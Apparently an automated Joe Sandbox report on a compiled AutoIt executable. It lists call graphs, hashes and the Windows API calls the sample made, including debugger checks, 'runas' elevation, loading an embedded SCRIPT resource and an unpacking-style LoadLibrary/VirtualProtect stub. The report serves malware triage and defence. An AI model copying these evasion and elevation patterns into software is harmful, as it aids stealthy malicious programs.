93040->93045 93046 8b68db 68 API calls 93041->93046 93043 8cfd8b 22 API calls 93042->93043 93061 8f45e5 93043->93061 93174 91d978 82 API calls 93044->93174 93071 8bad7c 93045->93071 93046->93044 93049 8b44e2 93049->92756 93049->92759 93050 8f4599 93050->93042 93051 8f4796 93056 8f479e 93051->93056 93052 8b68db 68 API calls 93052->93056 93056->93052 93180 9197b9 82 API calls __wsopen_s 93056->93180 93058 8bb606 22 API calls 93058->93061 93061->93051 93061->93056 93061->93058 93175 91959c 22 API calls __fread_nolock 93061->93175 93176 9194cb 42 API calls _wcslen 93061->93176 93177 920a78 22 API calls 93061->93177 93178 8bbd9d 22 API calls __fread_nolock 93061->93178 93179 8b5e82 22 API calls 93061->93179 93063 8b593a GetFullPathNameW 93062->93063 93063->93007 93063->93008 93065 8b286c 93064->93065 93069 8b288b __fread_nolock 93064->93069 93067 8cfd8b 22 API calls 93065->93067 93066 8cfd5b 22 API calls 93068 8b28a2 93066->93068 93067->93069 93068->93031 93069->93066 93070->93024 93072 8ff9b1 93071->93072 93073 8bada5 93071->93073 93209 9197b9 82 API calls __wsopen_s 93072->93209 93075 8cfd8b 22 API calls 93073->93075 93076 8badc9 93075->93076 93077 8b7bee CloseHandle 93076->93077 93078 8badd7 93077->93078 93079 8bc25d 22 API calls 93078->93079 93080 8bade0 93079->93080 93084 8b7bee CloseHandle 93080->93084 93081 8bae3d 93083 8bc25d 22 API calls 93081->93083 93082 8bae2f 93082->93081 93085 8ff9cb 93082->93085 93210 91cc1d SetFilePointerEx SetFilePointerEx SetFilePointerEx WriteFile 93082->93210 93086 8bae49 93083->93086 93088 8bade9 93084->93088 93085->93081 93085->93082 93181 8cf962 93086->93181 93091 8b7bee CloseHandle 93088->93091 93090 8ffa27 93090->93081 93093 8badf2 93091->93093 93199 8b70e5 SetFilePointerEx SetFilePointerEx SetFilePointerEx CreateFileW CreateFileW 93093->93199 93094 8bc25d 22 API calls 93096 8bae61 93094->93096 93098 8b592d 23 API calls 93096->93098 93097 8bae0c 93099 8ffde7 93097->93099 93100 8bae14 93097->93100 93102 8bae6f 93098->93102 93223 9197b9 82 API calls __wsopen_s 93099->93223 93200 8b6d7e 27 API calls messages 93100->93200 93186 8cf945 93102->93186 93103 8ffdfc 93103->93103 93108 8bae26 93201 8b6d67 SetFilePointerEx SetFilePointerEx SetFilePointerEx 93108->93201 93111 8baeb2 93113 8bc25d 22 API calls 93111->93113 93112 8ffa3d 93114 8b7bee CloseHandle 93112->93114 93115 8baebb 93113->93115 93116 8ffa46 93114->93116 93117 8bc25d 22 API calls 93115->93117 93119 8b686d 94 API calls 93116->93119 93118 8baec4 93117->93118 93120 8b6bff 22 API calls 93118->93120 93121 8ffa6e 93119->93121 93122 8baedb 93120->93122 93123 8ffd7e 93121->93123 93126 922c17 80 API calls 93121->93126 93124 8b7cf8 22 API calls 93122->93124 93220 9197b9 82 API calls __wsopen_s 93123->93220 93127 8baeec SetCurrentDirectoryW 93124->93127 93128 8ffa91 93126->93128 93129 8baeff 93127->93129 93130 8b68db 68 API calls 93128->93130 93135 8cfd8b 22 API calls 93129->93135 93131 8ffa9f 93130->93131 93131->93123 93132 8ffaa7 93131->93132 93133 8cfd5b 22 API calls 93132->93133 93134 8ffacf 93133->93134 93211 8bbd9d 22 API calls __fread_nolock 93134->93211 93137 8baf12 93135->93137 93139 8b70c2 22 API calls 93137->93139 93138 8bb08a 93142 8b7bee CloseHandle 93138->93142 93168 8baf1d _wcslen 93139->93168 93141 8ffceb 93217 9209ea 22 API calls 93141->93217 93145 8bb09c 93142->93145 93143 8bb035 93144 8b7bee CloseHandle 93143->93144 93147 8bb03e SetCurrentDirectoryW 93144->93147 93145->93049 93159 8bb058 messages 93147->93159 93150 8ffd11 93218 9140c5 22 API calls __fread_nolock 93150->93218 93154 8ffdca 93222 9197b9 82 API calls __wsopen_s 93154->93222 93157 8ffdde 93157->93143 93195 8b7bee 93159->93195 93162 8bb606 22 API calls 93162->93168 93163 8bb606 22 API calls 93171 8ffb10 93163->93171 93168->93143 93168->93154 93168->93162 93202 8bb0d9 33 API calls 93168->93202 93203 8b8fd0 GetStringTypeW 93168->93203 93204 8b901d 40 API calls 93168->93204 93205 8b90bd GetStringTypeW _wcslen 93168->93205 93206 8d6355 GetStringTypeW _strftime 93168->93206 93207 8b90f8 136 API calls 2 library calls 93168->93207 93208 8b8f2c 22 API calls 93168->93208 93221 919464 22 API calls _wcslen 93168->93221 93169 8ffd53 93219 9197b9 82 API calls __wsopen_s 93169->93219 93171->93141 93171->93163 93171->93169 93212 91959c 22 API calls __fread_nolock 93171->93212 93213 9194cb 42 API calls _wcslen 93171->93213 93214 920a78 22 API calls 93171->93214 93215 8bbd9d 22 API calls __fread_nolock 93171->93215 93216 8b8f2c 22 API calls 93171->93216 93172 8ffd6c 93172->93159 93174->93050 93175->93061 93176->93061 93177->93061 93178->93061 93179->93061 93180->93056 93182 8f1ef0 __wsopen_s 93181->93182 93183 8cf96f GetCurrentDirectoryW 93182->93183 93184 8b84e7 22 API calls 93183->93184 93185 8bae55 93184->93185 93185->93094 93224 8bb3b0 93186->93224 93189 8b6e66 93194 8b6e7d 93189->93194 93190 8f4b49 SetFilePointerEx 93191 8b6f04 SetFilePointerEx SetFilePointerEx 93192 8b6ed0 93191->93192 93192->93111 93192->93112 93193 8f4b38 93193->93190 93194->93190 93194->93191 93194->93192 93194->93193 93196 8b7bf8 93195->93196 93197 8b7c07 93195->93197 93196->93138 93197->93196 93198 8b7c0c CloseHandle 93197->93198 93198->93196 93199->93097 93200->93108 93201->93082 93202->93168 93203->93168 93204->93168 93205->93168 93206->93168 93207->93168 93208->93168 93209->93082 93210->93090 93211->93171 93212->93171 93213->93171 93214->93171 93215->93171 93216->93171 93217->93150 93218->93159 93219->93172 93220->93172 93221->93168 93222->93157 93223->93103 93225 8bb42b 93224->93225 93226 8bb3be 93224->93226 93231 8ce3db SetFilePointerEx 93225->93231 93228 8bae95 93226->93228 93229 8bb3fc ReadFile 93226->93229 93228->93189 93229->93228 93230 8bb416 93229->93230 93230->93226 93230->93228 93231->93226 93233 8b5d0d 93232->93233 93234 8b5e2a 93232->93234 93233->93234 93235 8cfd8b 22 API calls 93233->93235 93234->92895 93237 8b5d34 93235->93237 93236 8cfd8b 22 API calls 93242 8b5da9 93236->93242 93237->93236 93242->93234 93245 8bb7e0 86 API calls __fread_nolock 93242->93245 93246 8b5e82 22 API calls 93242->93246 93247 920977 22 API calls 93242->93247 93248 8bbd9d 22 API calls __fread_nolock 93242->93248 93243->92897 93244->92899 93245->93242 93246->93242 93247->93242 93248->93242 93250 8b4790 LoadIconW 93249->93250 93252 8b4555 93250->93252 93252->92911 93253 8b1033 93258 8b6633 93253->93258 93257 8b1042 93259 8bc25d 22 API calls 93258->93259 93260 8b66a1 93259->93260 93266 8b597b 93260->93266 93262 8b673e 93264 8b1038 93262->93264 93269 8b6b97 22 API calls __fread_nolock 93262->93269 93265 8d0023 29 API calls __onexit 93264->93265 93265->93257 93270 8b59a7 93266->93270 93269->93262 93271 8b599a 93270->93271 93272 8b59b4 93270->93272 93271->93262 93272->93271 93273 8b59bb RegOpenKeyExW 93272->93273 93273->93271 93274 8b59d5 RegQueryValueExW 93273->93274 93275 8b5a0b RegCloseKey 93274->93275 93276 8b59f6 93274->93276 93275->93271 93276->93275 93277 8b1056 93282 8b533e 93277->93282 93279 8b106a 93313 8d0023 29 API calls __onexit 93279->93313 93281 8b1074 93283 8b534e __wsopen_s 93282->93283 93284 8bc25d 22 API calls 93283->93284 93285 8b5404 93284->93285 93286 8b58e5 24 API calls 93285->93286 93287 8b540d 93286->93287 93314 8b4d82 93287->93314 93290 8b52b7 22 API calls 93291 8b5426 93290->93291 93292 8b6aff 22 API calls 93291->93292 93293 8b5435 93292->93293 93294 8bc25d 22 API calls 93293->93294 93295 8b543e 93294->93295 93296 8bbfbf 22 API calls 93295->93296 93297 8b5447 RegOpenKeyExW 93296->93297 93298 8f3ed5 RegQueryValueExW 93297->93298 93302 8b5469 93297->93302 93299 8f3f6b RegCloseKey 93298->93299 93300 8f3ef2 93298->93300 93299->93302 93312 8f3f7d _wcslen 93299->93312 93301 8cfd8b 22 API calls 93300->93301 93303 8f3f0b 93301->93303 93302->93279 93304 8b70c2 22 API calls 93303->93304 93305 8f3f16 RegQueryValueExW 93304->93305 93307 8f3f33 93305->93307 93309 8f3f4d messages 93305->93309 93306 8b660f 22 API calls 93306->93312 93308 8b84e7 22 API calls 93307->93308 93308->93309 93309->93299 93310 8bb606 22 API calls 93310->93312 93311 8b6aff 22 API calls 93311->93312 93312->93302 93312->93306 93312->93310 93312->93311 93313->93281 93315 8f1ef0 __wsopen_s 93314->93315 93316 8b4d8f GetFullPathNameW 93315->93316 93317 8b4db1 93316->93317 93318 8b84e7 22 API calls 93317->93318 93319 8b4dcf 93318->93319 93319->93290 93320 9f46a0 93321 9f46b0 93320->93321 93322 9f47ca LoadLibraryA 93321->93322 93327 9f480f VirtualProtect VirtualProtect 93321->93327 93323 9f47e1 93322->93323 93323->93321 93326 9f47f3 GetProcAddress 93323->93326 93325 9f4874 93325->93325 93326->93323 93328 9f4809 ExitProcess 93326->93328 93327->93325

                                      Executed Functions

                                      Function 008B615E Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235libraryloaderCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 234 8b615e-8b61cd call 8bc25d GetVersionExW call 8b84e7 239 8f434e-8f4361 234->239 240 8b61d3 234->240 241 8f4362-8f4366 239->241 242 8b61d5-8b61d7 240->242 243 8f4369-8f4375 241->243 244 8f4368 241->244 245 8f438d 242->245 246 8b61dd-8b623c call 8bad22 call 8b562b 242->246 243->241 248 8f4377-8f4379 243->248 244->243 251 8f4394-8f4397 245->251 262 8f4516-8f451d 246->262 263 8b6242-8b6244 246->263 248->242 250 8f437f-8f4386 248->250 250->239 255 8f4388 250->255 252 8b629b-8b62b5 GetCurrentProcess IsWow64Process 251->252 253 8f439d-8f43df 251->253 258 8b62b7 252->258 259 8b6314-8b631a 252->259 253->252 256 8f43e5-8f43e8 253->256 255->245 260 8f43ea-8f43f4 256->260 261 8f4412-8f441c 256->261 264 8b62bd-8b62c9 258->264 259->264 265 8f43f6-8f43fc 260->265 266 8f4401-8f440d 260->266 268 8f442f-8f4439 261->268 269 8f441e-8f442a 261->269 270 8f451f 262->270 271 8f453d-8f4540 262->271 263->251 267 8b624a-8b625d 263->267 272 8f455b-8f455f GetSystemInfo 264->272 273 8b62cf-8b62de LoadLibraryA 264->273 265->252 266->252 274 8f445d-8f4466 267->274 275 8b6263-8b6265 267->275 277 8f444c-8f4458 268->277 278 8f443b-8f4447 268->278 269->252 276 8f4525 270->276 279 8f452b-8f4533 271->279 280 8f4542-8f4551 271->280 281 8b631c-8b6326 GetSystemInfo 273->281 282 8b62e0-8b62ee GetProcAddress 273->282 286 8f4468-8f446e 274->286 287 8f4473-8f447f 274->287 284 8b626b-8b626e 275->284 285 8f4484-8f4499 275->285 276->279 277->252 278->252 279->271 280->276 288 8f4553-8f4559 280->288 283 8b62f6-8b62f8 281->283 282->281 289 8b62f0-8b62f4 GetNativeSystemInfo 282->289 290 8b62fa-8b62fb FreeLibrary 283->290 291 8b6301-8b6313 283->291 292 8f44c8-8f44cb 284->292 293 8b6274-8b628f 284->293 294 8f449b-8f44a1 285->294 295 8f44a6-8f44b2 285->295 286->252 287->252 288->279 289->283 290->291 292->252 296 8f44d1-8f44f8 292->296 297 8f44b7-8f44c3 293->297 298 8b6295 293->298 294->252 295->252 299 8f44fa-8f4500 296->299 300 8f4505-8f4511 296->300 297->252 298->252 299->252 300->252
                                      APIs
                                      • GetVersionExW.KERNEL32(?), ref: 008B618D
                                        • Part of subcall function 008B84E7: _wcslen.LIBCMT ref: 008B84FA
                                      • GetCurrentProcess.KERNEL32(?,0094D030,00000000,?,?), ref: 008B62A2
                                      • IsWow64Process.KERNEL32(00000000,?,?), ref: 008B62A9
                                      • LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 008B62D4
                                      • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 008B62E6
                                      • GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 008B62F4
                                      • FreeLibrary.KERNEL32(00000000,?,?), ref: 008B62FB
                                      • GetSystemInfo.KERNEL32(?,?,?), ref: 008B6320
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
                                      • String ID: GetNativeSystemInfo$kernel32.dll$|O
                                      • API String ID: 3290436268-3101561225
                                      • Opcode ID: c28023a2213a24f04579c576d2e7399cb8749aad9a961136769ac8ea756b625a
                                      • Instruction ID: 4389e902b20fb9e79b7632a88c6550360dfa847f5121530ba046ae3658ee90db
                                      • Opcode Fuzzy Hash: c28023a2213a24f04579c576d2e7399cb8749aad9a961136769ac8ea756b625a
                                      • Instruction Fuzzy Hash: 99A1A43592E2C4CFD711DBB97C445EA7FECBB76304B08589BE141D3B62E224454AEB21
                                      Function 008B445D Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153windowCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      • GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,008B36D8,?), ref: 008B448D
                                      • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,008B36D8,?), ref: 008B44A0
                                      • GetFullPathNameW.KERNEL32(00007FFF,?,?,00981418,00981400,?,?,?,?,?,?,008B36D8,?), ref: 008B4515
                                        • Part of subcall function 008B84E7: _wcslen.LIBCMT ref: 008B84FA
                                        • Part of subcall function 008B36FB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,008B453D,00981418,?,?,?,?,?,?,?,008B36D8,?), ref: 008B373C
                                      • SetCurrentDirectoryW.KERNEL32(?,00000001,00981418,?,?,?,?,?,?,?,008B36D8,?), ref: 008B4596
                                      • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,009759B8,00000010), ref: 008F371C
                                      • SetCurrentDirectoryW.KERNEL32(?,00981418,?,?,?,?,?,?,?,008B36D8,?), ref: 008F3769
                                      • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00972244,00981418,?,?,?,?,?,?,?,008B36D8), ref: 008F37F2
                                      • ShellExecuteW.SHELL32(00000000,?,?), ref: 008F37F9
                                        • Part of subcall function 008B45AE: GetSysColorBrush.USER32(0000000F), ref: 008B45B9
                                        • Part of subcall function 008B45AE: LoadCursorW.USER32(00000000,00007F00), ref: 008B45C8
                                        • Part of subcall function 008B45AE: LoadIconW.USER32(00000063), ref: 008B45DE
                                        • Part of subcall function 008B45AE: LoadIconW.USER32(000000A4), ref: 008B45F0
                                        • Part of subcall function 008B45AE: LoadIconW.USER32(000000A2), ref: 008B4602
                                        • Part of subcall function 008B45AE: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 008B461A
                                        • Part of subcall function 008B45AE: RegisterClassExW.USER32(?), ref: 008B466B
                                        • Part of subcall function 008B468E: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 008B46BC
                                        • Part of subcall function 008B468E: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 008B46DD
                                        • Part of subcall function 008B468E: ShowWindow.USER32(00000000,?,?,?,?,?,?,008B36D8,?), ref: 008B46F1
                                        • Part of subcall function 008B468E: ShowWindow.USER32(00000000,?,?,?,?,?,?,008B36D8,?), ref: 008B46FA
                                        • Part of subcall function 008B56C2: Shell_NotifyIconW.SHELL32(00000000,?), ref: 008B5793
                                      Strings
                                      • This is a third-party compiled AutoIt script., xrefs: 008F3716
                                      • runas, xrefs: 008F37ED
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcslen
                                      • String ID: This is a third-party compiled AutoIt script.$runas
                                      • API String ID: 683915450-3287110873
                                      • Opcode ID: 2aa62f4b746e12672fb87157b7344027d6117b3c549d49a79e440559e87cd139
                                      • Instruction ID: 822e7e7c9158e475cd8a352a42eb5cd0bcc6d32e9296d8bdad748e93c4e90fe4
                                      • Opcode Fuzzy Hash: 2aa62f4b746e12672fb87157b7344027d6117b3c549d49a79e440559e87cd139
                                      • Instruction Fuzzy Hash: 1C51A2B110C745ABC721BF789C529FE7BA8FB92754F041429F591C23B3DA60890A9B23
                                      Function 008B4B9B Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145timewindowregistryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 508 8b4b9b-8b4bb0 509 8b4bb2-8b4bb5 508->509 510 8b4c10-8b4c12 508->510 511 8b4bb7-8b4bbe 509->511 512 8b4c16 509->512 510->509 513 8b4c14 510->513 514 8b4c90-8b4c98 PostQuitMessage 511->514 515 8b4bc4-8b4bc9 511->515 517 8f39dd-8f3a05 call 8b31ed call 8ce48c 512->517 518 8b4c1c-8b4c21 512->518 516 8b4bfb-8b4c03 NtdllDefWindowProc_W 513->516 523 8b4c44-8b4c46 514->523 520 8f3a5e-8f3a72 call 91be4e 515->520 521 8b4bcf-8b4bd3 515->521 522 8b4c09-8b4c0f 516->522 553 8f3a0a-8f3a11 517->553 524 8b4c48-8b4c6f SetTimer RegisterClipboardFormatW 518->524 525 8b4c23-8b4c26 518->525 520->523 547 8f3a78 520->547 529 8b4bd9-8b4bde 521->529 530 8f3a4a-8f3a59 call 91c07f 521->530 523->522 524->523 531 8b4c71-8b4c7c CreatePopupMenu 524->531 526 8f397e-8f3981 525->526 527 8b4c2c-8b4c3f KillTimer call 8b4b1d call 8b5adb 525->527 539 8f39b9-8f39d8 MoveWindow 526->539 540 8f3983-8f3987 526->540 527->523 536 8f3a2f-8f3a36 529->536 537 8b4be4-8b4be9 529->537 530->523 531->523 536->516 541 8f3a3c-8f3a45 call 910a1b 536->541 545 8b4bef-8b4bf5 537->545 546 8b4c7e-8b4c8e call 8b4c9a 537->546 539->523 548 8f3989-8f398c 540->548 549 8f39a8-8f39b4 SetFocus 540->549 541->516 545->516 545->553 546->523 547->516 548->545 554 8f3992-8f39a3 call 8b31ed 548->554 549->523 553->516 557 8f3a17-8f3a2a call 8b4b1d call 8b56c2 553->557 554->523 557->516
                                      APIs
                                      • NtdllDefWindowProc_W.NTDLL(?,?,?,?,?,?,?,?,?,008B4B95,?,?), ref: 008B4C03
                                      • KillTimer.USER32(?,00000001,?,?,?,?,?,008B4B95,?,?), ref: 008B4C2F
                                      • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 008B4C52
                                      • RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 008B4C5D
                                      • CreatePopupMenu.USER32 ref: 008B4C71
                                      • PostQuitMessage.USER32(00000000), ref: 008B4C92
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Timer$ClipboardCreateFormatKillMenuMessageNtdllPopupPostProc_QuitRegisterWindow
                                      • String ID: TaskbarCreated
                                      • API String ID: 157504867-2362178303
                                      • Opcode ID: 0d97789485b3ec8827f53dcfcac9f31727e75533dbfd0c8602ddfa00eef880f1
                                      • Instruction ID: be1deafe5bf31c435b4ad1b97544c938856a47178c7628100a24b8229c9ec8a5
                                      • Opcode Fuzzy Hash: 0d97789485b3ec8827f53dcfcac9f31727e75533dbfd0c8602ddfa00eef880f1
                                      • Instruction Fuzzy Hash: 2D416874229218ABCB282B78DD2BFF93E5DFB01754F001126F656C73A2CB71C941A762
                                      Function 008B6122 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 622 8b6122-8b613a CreateStreamOnHGlobal 623 8b615a-8b615d 622->623 624 8b613c-8b6153 FindResourceExW 622->624 625 8b6159 624->625 626 8f42f1-8f4300 LoadResource 624->626 625->623 626->625 627 8f4306-8f4314 SizeofResource 626->627 627->625 628 8f431a-8f4325 LockResource 627->628 628->625 629 8f432b-8f4333 628->629 630 8f4337-8f4349 629->630 630->625
                                      APIs
                                      • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 008B6132
                                      • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,008B6A4A,?,?,00000000,00000000), ref: 008B6149
                                      • LoadResource.KERNEL32(?,00000000,?,?,008B6A4A,?,?,00000000,00000000,?,?,?,?,?,?,008B68C2), ref: 008F42F5
                                      • SizeofResource.KERNEL32(?,00000000,?,?,008B6A4A,?,?,00000000,00000000,?,?,?,?,?,?,008B68C2), ref: 008F430A
                                      • LockResource.KERNEL32(008B6A4A,?,?,008B6A4A,?,?,00000000,00000000,?,?,?,?,?,?,008B68C2,?), ref: 008F431D
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                      • String ID: SCRIPT
                                      • API String ID: 3051347437-3967369404
                                      • Opcode ID: e3e8da3d8e022f39e7cb16693bcb7081791ab6499b281e8ebf1f761009f0450a
                                      • Instruction ID: 893f4f612c9bbd6e54d1f324e9d929a5bebb87953d406ebbfe04405ecf318d21
                                      • Opcode Fuzzy Hash: e3e8da3d8e022f39e7cb16693bcb7081791ab6499b281e8ebf1f761009f0450a
                                      • Instruction Fuzzy Hash: 9A117CB4201701BFD7218B69DC48F67BBB9EBC6B55F10456DB612D6260EBB1EC009A21
                                      Function 0091DADC Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON
                                      Download Yara Rule
                                      APIs
                                      • lstrlenW.KERNEL32(?,008F5DF8), ref: 0091DAEC
                                      • GetFileAttributesW.KERNELBASE(?), ref: 0091DAFB
                                      • FindFirstFileW.KERNELBASE(?,?), ref: 0091DB0C
                                      • FindClose.KERNEL32(00000000), ref: 0091DB18
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: FileFind$AttributesCloseFirstlstrlen
                                      • String ID:
                                      • API String ID: 2695905019-0
                                      • Opcode ID: d1db4822cdec317b2a13cd3a83ccbd881cd82ff7bbc9b82878963be41d067aff
                                      • Instruction ID: e7e7a668d705163539aaec97f9d911344059b51605f76765ad40769ada174cc5
                                      • Opcode Fuzzy Hash: d1db4822cdec317b2a13cd3a83ccbd881cd82ff7bbc9b82878963be41d067aff
                                      • Instruction Fuzzy Hash: 9BF0A07242EA145B82106778AC0DCEA37BC9E07338B104706F936C20E0E7B4A9945695
                                      Function 008BF040 Relevance: 21.6, APIs: 14, Instructions: 621windowsleeptimeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetInputState.USER32 ref: 008BF107
                                      • timeGetTime.WINMM ref: 008BF307
                                      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008BF428
                                      • TranslateMessage.USER32(?), ref: 008BF47B
                                      • DispatchMessageW.USER32(?), ref: 008BF489
                                      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008BF49F
                                      • Sleep.KERNEL32(0000000A,?,?), ref: 008BF4B1
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
                                      • String ID:
                                      • API String ID: 2189390790-0
                                      • Opcode ID: ec61c7703900214da968eccb404616a4f007b771b65654b4de4d319ce879a9a0
